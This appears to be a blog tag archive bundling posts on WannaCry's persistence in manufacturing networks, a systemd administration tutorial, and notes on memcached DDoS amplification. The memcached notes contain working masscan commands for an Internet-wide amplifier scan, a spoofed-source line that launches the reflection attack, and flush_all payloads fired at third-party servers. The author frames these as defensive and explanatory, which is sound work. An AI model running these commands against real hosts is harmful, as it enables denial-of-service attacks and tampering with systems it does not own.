Tag Archives: killswitch

WannaCry after one year

Post Syndicated from Robert Graham original https://blog.erratasec.com/2018/03/wannacry-after-one-year.html

In the news, Boeing (an aircraft maker) has been “targeted by a WannaCry virus attack”. Phrased this way, it’s implausible. There are no new attacks targeting people with WannaCry. There is either no WannaCry, or it’s simply a continuation of the attack from a year ago.


It’s possible what happened is that an anti-virus product called a new virus “WannaCry”. Virus families are often related, and sometimes a distant relative gets called the same thing. I know this watching the way various anti-virus products label my own software, which isn’t a virus, but which virus writers often include with their own stuff. The Lazarus group, which is believed to be responsible for WannaCry, have whole virus families like this. Thus, just because an AV product claims you are infected with WannaCry doesn’t mean it’s the same thing that everyone else is calling WannaCry.

Famously, WannaCry was the first virus/ransomware/worm that used the NSA ETERNALBLUE exploit. Other viruses have since added the exploit, and of course, hackers use it when attacking systems. It may be that a network intrusion detection system detected ETERNALBLUE, which people then assumed was due to WannaCry. It may actually have been an nPetya infection instead (nPetya was the second major virus/worm/ransomware to use the exploit).

Or it could be the real WannaCry, but it’s probably not a new “attack” that “targets” Boeing. Instead, it’s likely a continuation from WannaCry’s first appearance. WannaCry is a worm, which means it spreads automatically after it was launched, for years, without anybody in control. Infected machines still exist, unnoticed by their owners, attacking random machines on the Internet. If you plug in an unpatched computer onto the raw Internet, without the benefit of a firewall, it’ll get infected within an hour.

However, the Boeing manufacturing systems that were infected were not on the Internet, so what happened? The narrative from the news stories imply some nefarious hacker activity that “targeted” Boeing, but that’s unlikely.

We have now have over 15 years of experience with network worms getting into strange places disconnected and even “air gapped” from the Internet. The most common reason is laptops. Somebody takes their laptop to some place like an airport WiFi network, and gets infected. They put their laptop to sleep, then wake it again when they reach their destination, and plug it into the manufacturing network. At this point, the virus spreads and infects everything. This is especially the case with maintenance/support engineers, who often have specialized software they use to control manufacturing machines, for which they have a reason to connect to the local network even if it doesn’t have useful access to the Internet. A single engineer may act as a sort of Typhoid Mary, going from customer to customer, infecting each in turn whenever they open their laptop.

Another cause for infection is virtual machines. A common practice is to take “snapshots” of live machines and save them to backups. Should the virtual machine crash, instead of rebooting it, it’s simply restored from the backed up running image. If that backup image is infected, then bringing it out of sleep will allow the worm to start spreading.

Jake Williams claims he’s seen three other manufacturing networks infected with WannaCry. Why does manufacturing seem more susceptible? The reason appears to be the “killswitch” that stops WannaCry from running elsewhere. The killswitch uses a DNS lookup, stopping itself if it can resolve a certain domain. Manufacturing networks are largely disconnected from the Internet enough that such DNS lookups don’t work, so the domain can’t be found, so the killswitch doesn’t work. Thus, manufacturing systems are no more likely to get infected, but the lack of killswitch means the virus will continue to run, attacking more systems instead of immediately killing itself.

One solution to this would be to setup sinkhole DNS servers on the network that resolve all unknown DNS queries to a single server that logs all requests. This is trivially setup with most DNS servers. The logs will quickly identify problems on the network, as well as any hacker or virus activity. The side effect is that it would make this killswitch kill WannaCry. WannaCry isn’t sufficient reason to setup sinkhole servers, of course, but it’s something I’ve found generally useful in the past.

Conclusion

Something obviously happened to the Boeing plant, but the narrative is all wrong. Words like “targeted attack” imply things that likely didn’t happen. Facts are so loose in cybersecurity that it may not have even been WannaCry.

The real story is that the original WannaCry is still out there, still trying to spread. Simply put a computer on the raw Internet (without a firewall) and you’ll get attacked. That, somehow, isn’t news. Instead, what’s news is whenever that continued infection hits somewhere famous, like Boeing, even though (as Boeing claims) it had no important effect.

Some notes on memcached DDoS

Post Syndicated from Robert Graham original http://blog.erratasec.com/2018/03/some-notes-on-memcached-ddos.html

I thought I’d write up some notes on the memcached DDoS. Specifically, I describe how many I found scanning the Internet with masscan, and how to use masscan as a killswitch to neuter the worst of the attacks.

Test your servers

I added code to my port scanner for this, then scanned the Internet:
masscan 0.0.0.0/0 -pU:11211 –banners | grep memcached
This example scans the entire Internet (/0). Replaced 0.0.0.0/0 with your address range (or ranges).
This produces output that looks like this:
Banner on port 11211/udp on 172.246.132.226: [memcached] uptime=230130 time=1520485357 version=1.4.13
Banner on port 11211/udp on 89.110.149.218: [memcached] uptime=3935192 time=1520485363 version=1.4.17
Banner on port 11211/udp on 172.246.132.226: [memcached] uptime=230130 time=1520485357 version=1.4.13
Banner on port 11211/udp on 84.200.45.2: [memcached] uptime=399858 time=1520485362 version=1.4.20
Banner on port 11211/udp on 5.1.66.2: [memcached] uptime=29429482 time=1520485363 version=1.4.20
Banner on port 11211/udp on 103.248.253.112: [memcached] uptime=2879363 time=1520485366 version=1.2.6
Banner on port 11211/udp on 193.240.236.171: [memcached] uptime=42083736 time=1520485365 version=1.4.13
The “banners” check filters out those with valid memcached responses, so you don’t get other stuff that isn’t memcached. To filter this output further, use  the ‘cut’ to grab just column 6:
… | cut -d ‘ ‘ -f 6 | cut -d: -f1
You often get multiple responses to just one query, so you’ll want to sort/uniq the list:
… | sort | uniq

My results from an Internet wide scan

I got 15181 results (or roughly 15,000).
People are using Shodan to find a list of memcached servers. They might be getting a lot results back that response to TCP instead of UDP. Only UDP can be used for the attack.

Other researchers scanned the Internet a few days ago and found ~31k. I don’t know if this means people have been removing these from the Internet.

Masscan as exploit script

BTW, you can not only use masscan to find amplifiers, you can also use it to carry out the DDoS. Simply import the list of amplifier IP addresses, then spoof the source address as that of the target. All the responses will go back to the source address.
masscan -iL amplifiers.txt -pU:11211 –spoof-ip –rate 100000
I point this out to show how there’s no magic in exploiting this. Numerous exploit scripts have been released, because it’s so easy.

Why memcached servers are vulnerable

Like many servers, memcached listens to local IP address 127.0.0.1 for local administration. By listening only on the local IP address, remote people cannot talk to the server.
However, this process is often buggy, and you end up listening on either 0.0.0.0 (all interfaces) or on one of the external interfaces. There’s a common Linux network stack issue where this keeps happening, like trying to get VMs connected to the network. I forget the exact details, but the point is that lots of servers that intend to listen only on 127.0.0.1 end up listening on external interfaces instead. It’s not a good security barrier.
Thus, there are lots of memcached servers listening on their control port (11211) on external interfaces.

How the protocol works

The protocol is documented here. It’s pretty straightforward.
The easiest amplification attacks is to send the “stats” command. This is 15 byte UDP packet that causes the server to send back either a large response full of useful statistics about the server.  You often see around 10 kilobytes of response across several packets.
A harder, but more effect attack uses a two step process. You first use the “add” or “set” commands to put chunks of data into the server, then send a “get” command to retrieve it. You can easily put 100-megabytes of data into the server this way, and causes a retrieval with a single “get” command.
That’s why this has been the largest amplification ever, because a single 100-byte packet can in theory cause a 100-megabytes response.
Doing the math, the 1.3 terabit/second DDoS divided across the 15,000 servers I found vulnerable on the Internet leads to an average of 100-megabits/second per server. This is fairly minor, and is indeed something even small servers (like Raspberry Pis) can generate.

Neutering the attack (“kill switch”)

If they are using the more powerful attack against you, you can neuter it: you can send a “flush_all” command back at the servers who are flooding you, causing them to drop all those large chunks of data from the cache.
I’m going to describe how I would do this.
First, get a list of attackers, meaning, the amplifiers that are flooding you. The way to do this is grab a packet sniffer and capture all packets with a source port of 11211. Here is an example using tcpdump.
tcpdump -i -w attackers.pcap src port 11221
Let that run for a while, then hit [ctrl-c] to stop, then extract the list of IP addresses in the capture file. The way I do this is with tshark (comes with Wireshark):
tshark -r attackers.pcap -Tfields -eip.src | sort | uniq > amplifiers.txt
Now, craft a flush_all payload. There are many ways of doing this. For example, if you are using nmap or masscan, you can add the bytes to the nmap-payloads.txt file. Also, masscan can read this directly from a packet capture file. To do this, first craft a packet, such as with the following command line foo:
echo -en “\x00\x00\x00\x00\x00\x01\x00\x00flush_all\r\n” | nc -q1 -u 11211
Capture this packet using tcpdump or something, and save into a file “flush_all.pcap”. If you want to skip this step, I’ve already done this for you, go grab the file from GitHub:
Now that we have our list of attackers (amplifiers.txt) and a payload to blast at them (flush_all.pcap), use masscan to send it:
masscan -iL amplifiers.txt -pU:112211 –pcap-payload flush_all.pcap

Reportedly, “shutdown” may also work to completely shutdown the amplifiers. I’ll leave that as an exercise for the reader, since of course you’ll be adversely affecting the servers.

Some notes

Here are some good reading on this attack:

WannaCry Ransomware Foiled By Domain Killswitch

Post Syndicated from Darknet original http://feedproxy.google.com/~r/darknethackers/~3/ASy1wNCVg7I/

Whilst I was away on a tropical island enjoying myself the Infosec Internet was on fire with news of the global WannaCry ransomware threat which showed up in the UK NHS and was spreading across 74 different countries. The Ransomware seems to be the first that is P2P using an SMB exploit from the NSA […]

The post WannaCry Ransomware Foiled…

Read the full post at darknet.org.uk

systemd for Administrators, Part II

Post Syndicated from Lennart Poettering original http://0pointer.net/blog/projects/systemd-for-admins-2.html

Here’s the second installment of my ongoing series about systemd for administrators.

Which Service Owns Which Processes?

On most Linux systems the number of processes that are running by
default is substantial. Knowing which process does what and where it
belongs to becomes increasingly difficult. Some services even maintain
a couple of worker processes which clutter the “ps” output with
many additional processes that are often not easy to recognize. This is
further complicated if daemons spawn arbitrary 3rd-party processes, as
Apache does with CGI processes, or cron does with user jobs.

A slight remedy for this is often the process inheritance tree, as
shown by “ps xaf“. However this is usually not reliable, as processes
whose parents die get reparented to PID 1, and hence all information
about inheritance gets lost. If a process “double forks” it hence loses
its relationships to the processes that started it. (This actually is
supposed to be a feature and is relied on for the traditional Unix
daemonizing logic.) Furthermore processes can freely change their names
with PR_SETNAME or by patching argv[0], thus making
it harder to recognize them. In fact they can play hide-and-seek with
the administrator pretty nicely this way.

In systemd we place every process that is spawned in a control
group
named after its service. Control groups (or cgroups)
at their most basic are simply groups of processes that can be
arranged in a hierarchy and labelled individually. When processes
spawn other processes these children are automatically made members of
the parents cgroup. Leaving a cgroup is not possible for unprivileged
processes. Thus, cgroups can be used as an effective way to label
processes after the service they belong to and be sure that the
service cannot escape from the label, regardless how often it forks or
renames itself. Furthermore this can be used to safely kill a service
and all processes it created, again with no chance of escaping.

In today’s installment I want to introduce you to two commands you
may use to relate systemd services and processes. The first one, is
the well known ps command which has been updated to show
cgroup information along the other process details. And this is how it
looks:

$ ps xawf -eo pid,user,cgroup,args
  PID USER     CGROUP                              COMMAND
    2 root     -                                   [kthreadd]
    3 root     -                                    \_ [ksoftirqd/0]
[...]
 4281 root     -                                    \_ [flush-8:0]
    1 root     name=systemd:/systemd-1             /sbin/init
  455 root     name=systemd:/systemd-1/sysinit.service /sbin/udevd -d
28188 root     name=systemd:/systemd-1/sysinit.service  \_ /sbin/udevd -d
28191 root     name=systemd:/systemd-1/sysinit.service  \_ /sbin/udevd -d
 1096 dbus     name=systemd:/systemd-1/dbus.service /bin/dbus-daemon --system --address=systemd: --nofork --systemd-activation
 1131 root     name=systemd:/systemd-1/auditd.service auditd
 1133 root     name=systemd:/systemd-1/auditd.service  \_ /sbin/audispd
 1135 root     name=systemd:/systemd-1/auditd.service      \_ /usr/sbin/sedispatch
 1171 root     name=systemd:/systemd-1/NetworkManager.service /usr/sbin/NetworkManager --no-daemon
 4028 root     name=systemd:/systemd-1/NetworkManager.service  \_ /sbin/dhclient -d -4 -sf /usr/libexec/nm-dhcp-client.action -pf /var/run/dhclient-wlan0.pid -lf /var/lib/dhclient/dhclient-7d32a784-ede9-4cf6-9ee3-60edc0bce5ff-wlan0.lease -
 1175 avahi    name=systemd:/systemd-1/avahi-daemon.service avahi-daemon: running [epsilon.local]
 1194 avahi    name=systemd:/systemd-1/avahi-daemon.service  \_ avahi-daemon: chroot helper
 1193 root     name=systemd:/systemd-1/rsyslog.service /sbin/rsyslogd -c 4
 1195 root     name=systemd:/systemd-1/cups.service cupsd -C /etc/cups/cupsd.conf
 1207 root     name=systemd:/systemd-1/mdmonitor.service mdadm --monitor --scan -f --pid-file=/var/run/mdadm/mdadm.pid
 1210 root     name=systemd:/systemd-1/irqbalance.service irqbalance
 1216 root     name=systemd:/systemd-1/dbus.service /usr/sbin/modem-manager
 1219 root     name=systemd:/systemd-1/dbus.service /usr/libexec/polkit-1/polkitd
 1242 root     name=systemd:/systemd-1/dbus.service /usr/sbin/wpa_supplicant -c /etc/wpa_supplicant/wpa_supplicant.conf -B -u -f /var/log/wpa_supplicant.log -P /var/run/wpa_supplicant.pid
 1249 68       name=systemd:/systemd-1/haldaemon.service hald
 1250 root     name=systemd:/systemd-1/haldaemon.service  \_ hald-runner
 1273 root     name=systemd:/systemd-1/haldaemon.service      \_ hald-addon-input: Listening on /dev/input/event3 /dev/input/event9 /dev/input/event1 /dev/input/event7 /dev/input/event2 /dev/input/event0 /dev/input/event8
 1275 root     name=systemd:/systemd-1/haldaemon.service      \_ /usr/libexec/hald-addon-rfkill-killswitch
 1284 root     name=systemd:/systemd-1/haldaemon.service      \_ /usr/libexec/hald-addon-leds
 1285 root     name=systemd:/systemd-1/haldaemon.service      \_ /usr/libexec/hald-addon-generic-backlight
 1287 68       name=systemd:/systemd-1/haldaemon.service      \_ /usr/libexec/hald-addon-acpi
 1317 root     name=systemd:/systemd-1/abrtd.service /usr/sbin/abrtd -d -s
 1332 root     name=systemd:/systemd-1/[email protected]/tty2 /sbin/mingetty tty2
 1339 root     name=systemd:/systemd-1/[email protected]/tty3 /sbin/mingetty tty3
 1342 root     name=systemd:/systemd-1/[email protected]/tty5 /sbin/mingetty tty5
 1343 root     name=systemd:/systemd-1/[email protected]/tty4 /sbin/mingetty tty4
 1344 root     name=systemd:/systemd-1/crond.service crond
 1346 root     name=systemd:/systemd-1/[email protected]/tty6 /sbin/mingetty tty6
 1362 root     name=systemd:/systemd-1/sshd.service /usr/sbin/sshd
 1376 root     name=systemd:/systemd-1/prefdm.service /usr/sbin/gdm-binary -nodaemon
 1391 root     name=systemd:/systemd-1/prefdm.service  \_ /usr/libexec/gdm-simple-slave --display-id /org/gnome/DisplayManager/Display1 --force-active-vt
 1394 root     name=systemd:/systemd-1/prefdm.service      \_ /usr/bin/Xorg :0 -nr -verbose -auth /var/run/gdm/auth-for-gdm-f2KUOh/database -nolisten tcp vt1
 1495 root     name=systemd:/user/lennart/1             \_ pam: gdm-password
 1521 lennart  name=systemd:/user/lennart/1                 \_ gnome-session
 1621 lennart  name=systemd:/user/lennart/1                     \_ metacity
 1635 lennart  name=systemd:/user/lennart/1                     \_ gnome-panel
 1638 lennart  name=systemd:/user/lennart/1                     \_ nautilus
 1640 lennart  name=systemd:/user/lennart/1                     \_ /usr/libexec/polkit-gnome-authentication-agent-1
 1641 lennart  name=systemd:/user/lennart/1                     \_ /usr/bin/seapplet
 1644 lennart  name=systemd:/user/lennart/1                     \_ gnome-volume-control-applet
 1646 lennart  name=systemd:/user/lennart/1                     \_ /usr/sbin/restorecond -u
 1652 lennart  name=systemd:/user/lennart/1                     \_ /usr/bin/devilspie
 1662 lennart  name=systemd:/user/lennart/1                     \_ nm-applet --sm-disable
 1664 lennart  name=systemd:/user/lennart/1                     \_ gnome-power-manager
 1665 lennart  name=systemd:/user/lennart/1                     \_ /usr/libexec/gdu-notification-daemon
 1670 lennart  name=systemd:/user/lennart/1                     \_ /usr/libexec/evolution/2.32/evolution-alarm-notify
 1672 lennart  name=systemd:/user/lennart/1                     \_ /usr/bin/python /usr/share/system-config-printer/applet.py
 1674 lennart  name=systemd:/user/lennart/1                     \_ /usr/lib64/deja-dup/deja-dup-monitor
 1675 lennart  name=systemd:/user/lennart/1                     \_ abrt-applet
 1677 lennart  name=systemd:/user/lennart/1                     \_ bluetooth-applet
 1678 lennart  name=systemd:/user/lennart/1                     \_ gpk-update-icon
 1408 root     name=systemd:/systemd-1/console-kit-daemon.service /usr/sbin/console-kit-daemon --no-daemon
 1419 gdm      name=systemd:/systemd-1/prefdm.service /usr/bin/dbus-launch --exit-with-session
 1453 root     name=systemd:/systemd-1/dbus.service /usr/libexec/upowerd
 1473 rtkit    name=systemd:/systemd-1/rtkit-daemon.service /usr/libexec/rtkit-daemon
 1496 root     name=systemd:/systemd-1/accounts-daemon.service /usr/libexec/accounts-daemon
 1499 root     name=systemd:/systemd-1/systemd-logger.service /lib/systemd/systemd-logger
 1511 lennart  name=systemd:/systemd-1/prefdm.service /usr/bin/gnome-keyring-daemon --daemonize --login
 1534 lennart  name=systemd:/user/lennart/1        dbus-launch --sh-syntax --exit-with-session
 1535 lennart  name=systemd:/user/lennart/1        /bin/dbus-daemon --fork --print-pid 5 --print-address 7 --session
 1603 lennart  name=systemd:/user/lennart/1        /usr/libexec/gconfd-2
 1612 lennart  name=systemd:/user/lennart/1        /usr/libexec/gnome-settings-daemon
 1615 lennart  name=systemd:/user/lennart/1        /usr/libexec/gvfsd
 1626 lennart  name=systemd:/user/lennart/1        /usr/libexec//gvfs-fuse-daemon /home/lennart/.gvfs
 1634 lennart  name=systemd:/user/lennart/1        /usr/bin/pulseaudio --start --log-target=syslog
 1649 lennart  name=systemd:/user/lennart/1         \_ /usr/libexec/pulse/gconf-helper
 1645 lennart  name=systemd:/user/lennart/1        /usr/libexec/bonobo-activation-server --ac-activate --ior-output-fd=24
 1668 lennart  name=systemd:/user/lennart/1        /usr/libexec/im-settings-daemon
 1701 lennart  name=systemd:/user/lennart/1        /usr/libexec/gvfs-gdu-volume-monitor
 1707 lennart  name=systemd:/user/lennart/1        /usr/bin/gnote --panel-applet --oaf-activate-iid=OAFIID:GnoteApplet_Factory --oaf-ior-fd=22
 1725 lennart  name=systemd:/user/lennart/1        /usr/libexec/clock-applet
 1727 lennart  name=systemd:/user/lennart/1        /usr/libexec/wnck-applet
 1729 lennart  name=systemd:/user/lennart/1        /usr/libexec/notification-area-applet
 1733 root     name=systemd:/systemd-1/dbus.service /usr/libexec/udisks-daemon
 1747 root     name=systemd:/systemd-1/dbus.service  \_ udisks-daemon: polling /dev/sr0
 1759 lennart  name=systemd:/user/lennart/1        gnome-screensaver
 1780 lennart  name=systemd:/user/lennart/1        /usr/libexec/gvfsd-trash --spawner :1.9 /org/gtk/gvfs/exec_spaw/0
 1864 lennart  name=systemd:/user/lennart/1        /usr/libexec/gvfs-afc-volume-monitor
 1874 lennart  name=systemd:/user/lennart/1        /usr/libexec/gconf-im-settings-daemon
 1903 lennart  name=systemd:/user/lennart/1        /usr/libexec/gvfsd-burn --spawner :1.9 /org/gtk/gvfs/exec_spaw/1
 1909 lennart  name=systemd:/user/lennart/1        gnome-terminal
 1913 lennart  name=systemd:/user/lennart/1         \_ gnome-pty-helper
 1914 lennart  name=systemd:/user/lennart/1         \_ bash
29231 lennart  name=systemd:/user/lennart/1         |   \_ ssh tango
 2221 lennart  name=systemd:/user/lennart/1         \_ bash
 4193 lennart  name=systemd:/user/lennart/1         |   \_ ssh tango
 2461 lennart  name=systemd:/user/lennart/1         \_ bash
29219 lennart  name=systemd:/user/lennart/1         |   \_ emacs systemd-for-admins-1.txt
15113 lennart  name=systemd:/user/lennart/1         \_ bash
27251 lennart  name=systemd:/user/lennart/1             \_ empathy
29504 lennart  name=systemd:/user/lennart/1             \_ ps xawf -eo pid,user,cgroup,args
 1968 lennart  name=systemd:/user/lennart/1        ssh-agent
 1994 lennart  name=systemd:/user/lennart/1        gpg-agent --daemon --write-env-file
18679 lennart  name=systemd:/user/lennart/1        /bin/sh /usr/lib64/firefox-3.6/run-mozilla.sh /usr/lib64/firefox-3.6/firefox
18741 lennart  name=systemd:/user/lennart/1         \_ /usr/lib64/firefox-3.6/firefox
28900 lennart  name=systemd:/user/lennart/1             \_ /usr/lib64/nspluginwrapper/npviewer.bin --plugin /usr/lib64/mozilla/plugins/libflashplayer.so --connection /org/wrapper/NSPlugins/libflashplayer.so/18741-6
 4016 root     name=systemd:/systemd-1/sysinit.service /usr/sbin/bluetoothd --udev
 4094 smmsp    name=systemd:/systemd-1/sendmail.service sendmail: Queue [email protected]:00:00 for /var/spool/clientmqueue
 4096 root     name=systemd:/systemd-1/sendmail.service sendmail: accepting connections
 4112 ntp      name=systemd:/systemd-1/ntpd.service /usr/sbin/ntpd -n -u ntp:ntp -g
27262 lennart  name=systemd:/user/lennart/1        /usr/libexec/mission-control-5
27265 lennart  name=systemd:/user/lennart/1        /usr/libexec/telepathy-haze
27268 lennart  name=systemd:/user/lennart/1        /usr/libexec/telepathy-logger
27270 lennart  name=systemd:/user/lennart/1        /usr/libexec/dconf-service
27280 lennart  name=systemd:/user/lennart/1        /usr/libexec/notification-daemon
27284 lennart  name=systemd:/user/lennart/1        /usr/libexec/telepathy-gabble
27285 lennart  name=systemd:/user/lennart/1        /usr/libexec/telepathy-salut
27297 lennart  name=systemd:/user/lennart/1        /usr/libexec/geoclue-yahoo

(Note that this output is shortened, I have removed most of the
kernel threads here, since they are not relevant in the context of
this blog story)

In the third column you see the cgroup systemd assigned to each
process. You’ll find that the udev processes are in the
name=systemd:/systemd-1/sysinit.service cgroup, which is
where systemd places all processes started by the
sysinit.service service, which covers early boot.

My personal recommendation is to set the shell alias psc
to the ps command line shown above:

alias psc='ps xawf -eo pid,user,cgroup,args'

With this service information of processes is just four keypresses
away!

A different way to present the same information is the
systemd-cgls tool we ship with systemd. It shows the cgroup
hierarchy in a pretty tree. Its output looks like this:

$ systemd-cgls
+    2 [kthreadd]
[...]
+ 4281 [flush-8:0]
+ user
| \ lennart
|   \ 1
|     +  1495 pam: gdm-password
|     +  1521 gnome-session
|     +  1534 dbus-launch --sh-syntax --exit-with-session
|     +  1535 /bin/dbus-daemon --fork --print-pid 5 --print-address 7 --session
|     +  1603 /usr/libexec/gconfd-2
|     +  1612 /usr/libexec/gnome-settings-daemon
|     +  1615 /ushr/libexec/gvfsd
|     +  1621 metacity
|     +  1626 /usr/libexec//gvfs-fuse-daemon /home/lennart/.gvfs
|     +  1634 /usr/bin/pulseaudio --start --log-target=syslog
|     +  1635 gnome-panel
|     +  1638 nautilus
|     +  1640 /usr/libexec/polkit-gnome-authentication-agent-1
|     +  1641 /usr/bin/seapplet
|     +  1644 gnome-volume-control-applet
|     +  1645 /usr/libexec/bonobo-activation-server --ac-activate --ior-output-fd=24
|     +  1646 /usr/sbin/restorecond -u
|     +  1649 /usr/libexec/pulse/gconf-helper
|     +  1652 /usr/bin/devilspie
|     +  1662 nm-applet --sm-disable
|     +  1664 gnome-power-manager
|     +  1665 /usr/libexec/gdu-notification-daemon
|     +  1668 /usr/libexec/im-settings-daemon
|     +  1670 /usr/libexec/evolution/2.32/evolution-alarm-notify
|     +  1672 /usr/bin/python /usr/share/system-config-printer/applet.py
|     +  1674 /usr/lib64/deja-dup/deja-dup-monitor
|     +  1675 abrt-applet
|     +  1677 bluetooth-applet
|     +  1678 gpk-update-icon
|     +  1701 /usr/libexec/gvfs-gdu-volume-monitor
|     +  1707 /usr/bin/gnote --panel-applet --oaf-activate-iid=OAFIID:GnoteApplet_Factory --oaf-ior-fd=22
|     +  1725 /usr/libexec/clock-applet
|     +  1727 /usr/libexec/wnck-applet
|     +  1729 /usr/libexec/notification-area-applet
|     +  1759 gnome-screensaver
|     +  1780 /usr/libexec/gvfsd-trash --spawner :1.9 /org/gtk/gvfs/exec_spaw/0
|     +  1864 /usr/libexec/gvfs-afc-volume-monitor
|     +  1874 /usr/libexec/gconf-im-settings-daemon
|     +  1882 /usr/libexec/gvfs-gphoto2-volume-monitor
|     +  1903 /usr/libexec/gvfsd-burn --spawner :1.9 /org/gtk/gvfs/exec_spaw/1
|     +  1909 gnome-terminal
|     +  1913 gnome-pty-helper
|     +  1914 bash
|     +  1968 ssh-agent
|     +  1994 gpg-agent --daemon --write-env-file
|     +  2221 bash
|     +  2461 bash
|     +  4193 ssh tango
|     + 15113 bash
|     + 18679 /bin/sh /usr/lib64/firefox-3.6/run-mozilla.sh /usr/lib64/firefox-3.6/firefox
|     + 18741 /usr/lib64/firefox-3.6/firefox
|     + 27251 empathy
|     + 27262 /usr/libexec/mission-control-5
|     + 27265 /usr/libexec/telepathy-haze
|     + 27268 /usr/libexec/telepathy-logger
|     + 27270 /usr/libexec/dconf-service
|     + 27280 /usr/libexec/notification-daemon
|     + 27284 /usr/libexec/telepathy-gabble
|     + 27285 /usr/libexec/telepathy-salut
|     + 27297 /usr/libexec/geoclue-yahoo
|     + 28900 /usr/lib64/nspluginwrapper/npviewer.bin --plugin /usr/lib64/mozilla/plugins/libflashplayer.so --connection /org/wrapper/NSPlugins/libflashplayer.so/18741-6
|     + 29219 emacs systemd-for-admins-1.txt
|     + 29231 ssh tango
|     \ 29519 systemd-cgls
\ systemd-1
  + 1 /sbin/init
  + ntpd.service
  | \ 4112 /usr/sbin/ntpd -n -u ntp:ntp -g
  + systemd-logger.service
  | \ 1499 /lib/systemd/systemd-logger
  + accounts-daemon.service
  | \ 1496 /usr/libexec/accounts-daemon
  + rtkit-daemon.service
  | \ 1473 /usr/libexec/rtkit-daemon
  + console-kit-daemon.service
  | \ 1408 /usr/sbin/console-kit-daemon --no-daemon
  + prefdm.service
  | + 1376 /usr/sbin/gdm-binary -nodaemon
  | + 1391 /usr/libexec/gdm-simple-slave --display-id /org/gnome/DisplayManager/Display1 --force-active-vt
  | + 1394 /usr/bin/Xorg :0 -nr -verbose -auth /var/run/gdm/auth-for-gdm-f2KUOh/database -nolisten tcp vt1
  | + 1419 /usr/bin/dbus-launch --exit-with-session
  | \ 1511 /usr/bin/gnome-keyring-daemon --daemonize --login
  + [email protected]
  | + tty6
  | | \ 1346 /sbin/mingetty tty6
  | + tty4
  | | \ 1343 /sbin/mingetty tty4
  | + tty5
  | | \ 1342 /sbin/mingetty tty5
  | + tty3
  | | \ 1339 /sbin/mingetty tty3
  | \ tty2
  |   \ 1332 /sbin/mingetty tty2
  + abrtd.service
  | \ 1317 /usr/sbin/abrtd -d -s
  + crond.service
  | \ 1344 crond
  + sshd.service
  | \ 1362 /usr/sbin/sshd
  + sendmail.service
  | + 4094 sendmail: Queue [email protected]:00:00 for /var/spool/clientmqueue
  | \ 4096 sendmail: accepting connections
  + haldaemon.service
  | + 1249 hald
  | + 1250 hald-runner
  | + 1273 hald-addon-input: Listening on /dev/input/event3 /dev/input/event9 /dev/input/event1 /dev/input/event7 /dev/input/event2 /dev/input/event0 /dev/input/event8
  | + 1275 /usr/libexec/hald-addon-rfkill-killswitch
  | + 1284 /usr/libexec/hald-addon-leds
  | + 1285 /usr/libexec/hald-addon-generic-backlight
  | \ 1287 /usr/libexec/hald-addon-acpi
  + irqbalance.service
  | \ 1210 irqbalance
  + avahi-daemon.service
  | + 1175 avahi-daemon: running [epsilon.local]
  + NetworkManager.service
  | + 1171 /usr/sbin/NetworkManager --no-daemon
  | \ 4028 /sbin/dhclient -d -4 -sf /usr/libexec/nm-dhcp-client.action -pf /var/run/dhclient-wlan0.pid -lf /var/lib/dhclient/dhclient-7d32a784-ede9-4cf6-9ee3-60edc0bce5ff-wlan0.lease -cf /var/run/nm-dhclient-wlan0.conf wlan0
  + rsyslog.service
  | \ 1193 /sbin/rsyslogd -c 4
  + mdmonitor.service
  | \ 1207 mdadm --monitor --scan -f --pid-file=/var/run/mdadm/mdadm.pid
  + cups.service
  | \ 1195 cupsd -C /etc/cups/cupsd.conf
  + auditd.service
  | + 1131 auditd
  | + 1133 /sbin/audispd
  | \ 1135 /usr/sbin/sedispatch
  + dbus.service
  | +  1096 /bin/dbus-daemon --system --address=systemd: --nofork --systemd-activation
  | +  1216 /usr/sbin/modem-manager
  | +  1219 /usr/libexec/polkit-1/polkitd
  | +  1242 /usr/sbin/wpa_supplicant -c /etc/wpa_supplicant/wpa_supplicant.conf -B -u -f /var/log/wpa_supplicant.log -P /var/run/wpa_supplicant.pid
  | +  1453 /usr/libexec/upowerd
  | +  1733 /usr/libexec/udisks-daemon
  | +  1747 udisks-daemon: polling /dev/sr0
  | \ 29509 /usr/libexec/packagekitd
  + dev-mqueue.mount
  + dev-hugepages.mount
  \ sysinit.service
    +   455 /sbin/udevd -d
    +  4016 /usr/sbin/bluetoothd --udev
    + 28188 /sbin/udevd -d
    \ 28191 /sbin/udevd -d

(This too is shortened, the same way)

As you can see, this command shows the processes by their cgroup
and hence service, as systemd labels the cgroups after the
services. For example, you can easily see that the auditing service
auditd.service spawns three individual processes,
auditd, audisp and sedispatch.

If you look closely you will notice that a number of processes have
been assigned to the cgroup /user/1. At this point let’s
simply leave it at that systemd not only maintains services in cgroups,
but user session processes as well. In a later installment we’ll discuss in
more detail what this about.

So much for now, come back soon for the next installment!